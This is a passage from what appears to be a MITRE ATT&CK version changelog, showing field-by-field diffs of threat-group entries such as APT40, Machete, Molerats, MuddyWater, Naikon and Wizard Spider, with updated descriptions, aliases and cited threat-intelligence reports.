| external_references[3]['description'] | The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018) |
| external_references[4]['source_name'] | TEMP.Periscope | Gadolinium |
| external_references[4]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020) |
| external_references[5]['source_name'] | Proofpoint Leviathan Oct 2017 | BRONZE MOHAWK |
| external_references[5]['description'] | Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. | (Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.) |
| external_references[6]['source_name'] | FireEye Periscope March 2018 | TEMP.Jumper |
| external_references[6]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019) |
| external_references[7]['source_name'] | FireEye APT40 March 2019 | APT40 |
| external_references[7]['description'] | Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. | FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | MUDCARP | |
| aliases | Kryptonite Panda | |
| aliases | Gadolinium | |
| aliases | BRONZE MOHAWK | |
| external_references | {'source_name': 'TEMP.Periscope', 'description': 'Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)'} | |
| external_references | {'source_name': 'CISA AA21-200A APT40 July 2021', 'description': 'CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-200a'} | |
| external_references | {'source_name': 'Proofpoint Leviathan Oct 2017', 'description': 'Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets'} | |
| external_references | {'source_name': 'FireEye Periscope March 2018', 'description': 'FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html'} | |
| external_references | {'source_name': 'Accenture MUDCARP March 2019', 'description': "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.", 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies'} | |
| external_references | {'source_name': 'Crowdstrike KRYPTONITE PANDA August 2018', 'description': 'Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.', 'url': 'https://www.crowdstrike.com/blog/two-birds-one-stone-panda/'} | |
| external_references | {'source_name': 'MSTIC GADOLINIUM September 2020', 'description': 'Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/'} | |
| external_references | {'source_name': 'SecureWorks BRONZE MOHAWK n.d.', 'description': 'SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/bronze-mohawk'} | |
| external_references | {'source_name': 'FireEye APT40 March 2019', 'description': 'Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html'} |
Current version: 2.0
Version changed from: 1.2 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a group | t | 1 | [Machete](https://attack.mitre.org/groups/G0095) is a suspec |
| > | that has been active since at least 2010, targeting high-pro | > | ted Spanish-speaking cyber espionage group that has been act | ||
| > | file government entities in Latin American countries.(Citati | > | ive since at least 2010. It has primarily focused its operat | ||
| > | on: Cylance Machete Mar 2017)(Citation: Securelist Machete A | > | ions within Latin America, with a particular emphasis on Ven | ||
| > | ug 2014)(Citation: ESET Machete July 2019) | > | ezuela, but also in the US, Europe, Russia, and parts of Asi | ||
| > | a. [Machete](https://attack.mitre.org/groups/G0095) generall | ||||
| > | y targets high-profile organizations such as government inst | ||||
| > | itutions, intelligence services, and military units, as well | ||||
| > | as telecommunications and power companies.(Citation: Cylanc | ||||
| > | e Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(C | ||||
| > | itation: ESET Machete July 2019)(Citation: 360 Machete Sep 2 | ||||
| > | 020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-22 16:46:45.662000+00:00 | 2021-10-06 19:26:47.988000+00:00 |
| description | [Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | [Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020) |
| external_references[1]['description'] | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019) | (Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)( |
| external_references[2]['source_name'] | El Machete | APT-C-43 |
| external_references[2]['description'] | (Citation: Cylance Machete Mar 2017) | (Citation: 360 Machete Sep 2020) |
| external_references[3]['source_name'] | Cylance Machete Mar 2017 | El Machete |
| external_references[3]['description'] | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. | (Citation: Cylance Machete Mar 2017) |
| external_references[4]['source_name'] | Securelist Machete Aug 2014 | Cylance Machete Mar 2017 |
| external_references[4]['description'] | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. | The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019. |
| external_references[4]['url'] | https://securelist.com/el-machete/66108/ | https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html |
| external_references[5]['source_name'] | ESET Machete July 2019 | Securelist Machete Aug 2014 |
| external_references[5]['description'] | ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019. | Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019. |
| external_references[5]['url'] | https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf | https://securelist.com/el-machete/66108/ |
| x_mitre_version | 1.2 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | APT-C-43 | |
| external_references | {'source_name': 'ESET Machete July 2019', 'description': 'ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf'} | |
| external_references | {'source_name': '360 Machete Sep 2020', 'description': 'kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020.', 'url': 'https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is a polit | t | 1 | [Molerats](https://attack.mitre.org/groups/G0021) is an Arab |
| > | ically-motivated threat group that has been operating since | > | ic-speaking, politically-motivated threat group that has bee | ||
| > | 2012. The group's victims have primarily been in the Middle | > | n operating since 2012. The group's victims have primarily b | ||
| > | East, Europe, and the United States. (Citation: DustySky) (C | > | een in the Middle East, Europe, and the United States.(Citat | ||
| > | itation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | > | ion: DustySky)(Citation: DustySky2)(Citation: Kaspersky Mole | ||
| > | RATs April 2019)(Citation: Cybereason Molerats Dec 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 22:11:04.389000+00:00 | 2021-04-27 20:16:16.057000+00:00 |
| description | [Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019) | [Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[2]['description'] | (Citation: FireEye Operation Molerats) | (Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020) |
| external_references[3]['description'] | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019) | (Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020) |
| external_references[7]['source_name'] | FireEye Operation Molerats | Cybereason Molerats Dec 2020 |
| external_references[7]['description'] | Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016. | Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html | https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye Operation Molerats', 'description': 'Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html'} |
Current version: 3.0
Version changed from: 2.3 → 3.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ | |
| external_references | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group | |
| external_references | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-29 21:27:47.641000+00:00 | 2021-04-26 22:30:05.308000+00:00 |
| external_references[2]['source_name'] | Seedworm | Earth Vetala |
| external_references[2]['description'] | (Citation: Symantec MuddyWater Dec 2018) | (Citation: Trend Micro Muddy Water March 2021) |
| external_references[3]['source_name'] | TEMP.Zagros | MERCURY |
| external_references[3]['description'] | (Citation: FireEye MuddyWater Mar 2018) | (Citation: Anomali Static Kitten February 2021) |
| external_references[4]['source_name'] | Unit 42 MuddyWater Nov 2017 | Static Kitten |
| external_references[4]['description'] | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. | (Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[5]['source_name'] | Symantec MuddyWater Dec 2018 | Seedworm |
| external_references[5]['description'] | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. | (Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[6]['source_name'] | ClearSky MuddyWater Nov 2018 | TEMP.Zagros |
| external_references[6]['description'] | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. | (Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021) |
| external_references[7]['source_name'] | ClearSky MuddyWater June 2019 | Unit 42 MuddyWater Nov 2017 |
| external_references[7]['description'] | ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020. | Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018. |
| external_references[7]['url'] | https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf | https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/ |
| external_references[8]['source_name'] | Reaqta MuddyWater November 2017 | Symantec MuddyWater Dec 2018 |
| external_references[8]['description'] | Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020. | Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018. |
| external_references[8]['url'] | https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/ | https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group |
| external_references[9]['source_name'] | FireEye MuddyWater Mar 2018 | ClearSky MuddyWater Nov 2018 |
| external_references[9]['description'] | Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. | ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018. |
| external_references[9]['url'] | https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html | https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf |
| x_mitre_version | 2.3 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Earth Vetala | |
| aliases | MERCURY | |
| aliases | Static Kitten | |
| external_references | {'source_name': 'ClearSky MuddyWater June 2019', 'description': 'ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.', 'url': 'https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf'} | |
| external_references | {'source_name': 'Reaqta MuddyWater November 2017', 'description': 'Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.', 'url': 'https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/'} | |
| external_references | {'source_name': 'Trend Micro Muddy Water March 2021', 'description': 'Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.', 'url': 'https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html'} | |
| external_references | {'source_name': 'Anomali Static Kitten February 2021', 'description': 'Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.', 'url': 'https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies'} | |
| external_references | {'source_name': 'FireEye MuddyWater Mar 2018', 'description': 'Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html'} |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is a threat | t | 1 | [Naikon](https://attack.mitre.org/groups/G0019) is assessed |
| > | group that has focused on targets around the South China Sea | > | to be a state-sponsored cyber espionage group attributed to | ||
| > | .(Citation: Baumgartner Naikon 2015) The group has been attr | > | the Chinese People’s Liberation Army’s (PLA) Chengdu Militar | ||
| > | ibuted to the Chinese People’s Liberation Army’s (PLA) Cheng | > | y Region Second Technical Reconnaissance Bureau (Military Un | ||
| > | du Military Region Second Technical Reconnaissance Bureau(Mi | > | it Cover Designator 78020).(Citation: CameraShy) Active sinc | ||
| > | litary Unit Cover Designator 78020).(Citation: CameraShy) Wh | > | e at least 2010, [Naikon](https://attack.mitre.org/groups/G0 | ||
| > | ile [Naikon](https://attack.mitre.org/groups/G0019) shares s | > | 019) has primarily conducted operations against government, | ||
| > | ome characteristics with [APT30](https://attack.mitre.org/gr | > | military, and civil organizations in Southeast Asia, as well | ||
| > | oups/G0013), the two groups do not appear to be exact matche | > | as against international bodies such as the United Nations | ||
| > | s.(Citation: Baumgartner Golovkin Naikon 2015) | > | Development Programme (UNDP) and the Association of Southeas | ||
| > | t Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baum | ||||
| > | gartner Naikon 2015) While [Naikon](https://attack.mitre.o | ||||
| > | rg/groups/G0019) shares some characteristics with [APT30](ht | ||||
| > | tps://attack.mitre.org/groups/G0013), the two groups do not | ||||
| > | appear to be exact matches.(Citation: Baumgartner Golovkin N | ||||
| > | aikon 2015) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-03 21:48:57.725000+00:00 | 2021-08-19 18:23:23.507000+00:00 |
| description | [Naikon](https://attack.mitre.org/groups/G0019) is a threat group that has focused on targets around the South China Sea.(Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau(Military Unit Cover Designator 78020).(Citation: CameraShy) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) | [Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People’s Liberation Army’s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015) |
| external_references[2]['source_name'] | Baumgartner Naikon 2015 | CameraShy |
| external_references[2]['description'] | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. |
| external_references[2]['url'] | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf |
| external_references[3]['source_name'] | CameraShy | Baumgartner Naikon 2015 |
| external_references[3]['description'] | ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015. | Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019. |
| external_references[3]['url'] | http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf | https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is fi | t | 1 | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a |
| > | nancially motivated group that has been conducting ransomwar | > | Russia-based financially motivated threat group originally k | ||
| > | e campaigns since at least August 2018, primarily targeting | > | nown for the creation and deployment of [TrickBot](https://a | ||
| > | large organizations. (Citation: CrowdStrike Ryuk January 201 | > | ttack.mitre.org/software/S0266) since at least 2016. [Wizard | ||
| > | 9) | > | Spider](https://attack.mitre.org/groups/G0102) possesses a | ||
| > | diverse arsenal of tools and has conducted ransomware campai | ||||
| > | gns against a variety of organizations, ranging from major c | ||||
| > | orporations to hospitals.(Citation: CrowdStrike Ryuk January | ||||
| > | 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare Oc | ||||
| > | tober 2020)(Citation: CrowdStrike Wizard Spider October 2020 | ||||
| > | ) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 18:57:52.513000+00:00 | 2021-10-14 17:27:41.194000+00:00 |
| description | [Wizard Spider](https://attack.mitre.org/groups/G0102) is financially motivated group that has been conducting ransomware campaigns since at least August 2018, primarily targeting large organizations. (Citation: CrowdStrike Ryuk January 2019) | [Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020) |
| external_references[1]['source_name'] | TEMP.MixMaster | UNC1878 |
| external_references[1]['description'] | (Citation: FireEye Ryuk and Trickbot January 2019) | (Citation: FireEye KEGTAP SINGLEMALT October 2020) |
| external_references[2]['source_name'] | Grim Spider | TEMP.MixMaster |
| external_references[2]['description'] | (Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019) | (Citation: FireEye Ryuk and Trickbot January 2019) |
| external_references[3]['source_name'] | CrowdStrike Ryuk January 2019 | Grim Spider |
| external_references[3]['description'] | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. | (Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019) |
| external_references[4]['source_name'] | FireEye Ryuk and Trickbot January 2019 | CrowdStrike Ryuk January 2019 |
| external_references[4]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| external_references[5]['source_name'] | CrowdStrike Grim Spider May 2019 | DHS/CISA Ransomware Targeting Healthcare October 2020 |
| external_references[5]['description'] | John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020. | DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020. |
| external_references[5]['url'] | https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/ | https://us-cert.cisa.gov/ncas/alerts/aa20-302a |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | UNC1878 | |
| external_references | {'source_name': 'CrowdStrike Wizard Spider October 2020', 'description': 'Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.', 'url': 'https://www.crowdstrike.com/blog/wizard-spider-adversary-update/'} | |
| external_references | {'source_name': 'FireEye KEGTAP SINGLEMALT October 2020', 'description': 'Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html'} | |
| external_references | {'source_name': 'FireEye Ryuk and Trickbot January 2019', 'description': 'Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html'} | |
| external_references | {'source_name': 'CrowdStrike Grim Spider May 2019', 'description': 'John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.', 'url': 'https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/'} | |
| x_mitre_contributors | Edward Millington |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:40:36.467000+00:00 | 2021-05-26 20:17:53.085000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:35:55.290000+00:00 | 2021-05-26 12:23:48.842000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:48:29.397000+00:00 | 2021-05-26 12:38:01.003000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas | t | 1 | [APT3](https://attack.mitre.org/groups/G0022) is a China-bas |
| > | ed threat group that researchers have attributed to China's | > | ed threat group that researchers have attributed to China's | ||
| > | Ministry of State Security. (Citation: FireEye Clandestine W | > | Ministry of State Security.(Citation: FireEye Clandestine Wo | ||
| > | olf) (Citation: Recorded Future APT3 May 2017) This group is | > | lf)(Citation: Recorded Future APT3 May 2017) This group is r | ||
| > | responsible for the campaigns known as Operation Clandestin | > | esponsible for the campaigns known as Operation Clandestine | ||
| > | e Fox, Operation Clandestine Wolf, and Operation Double Tap. | > | Fox, Operation Clandestine Wolf, and Operation Double Tap.(C | ||
| > | (Citation: FireEye Clandestine Wolf) (Citation: FireEye Ope | > | itation: FireEye Clandestine Wolf)(Citation: FireEye Operati | ||
| > | ration Double Tap) As of June 2015, the group appears to hav | > | on Double Tap) As of June 2015, the group appears to have sh | ||
| > | e shifted from targeting primarily US victims to primarily p | > | ifted from targeting primarily US victims to primarily polit | ||
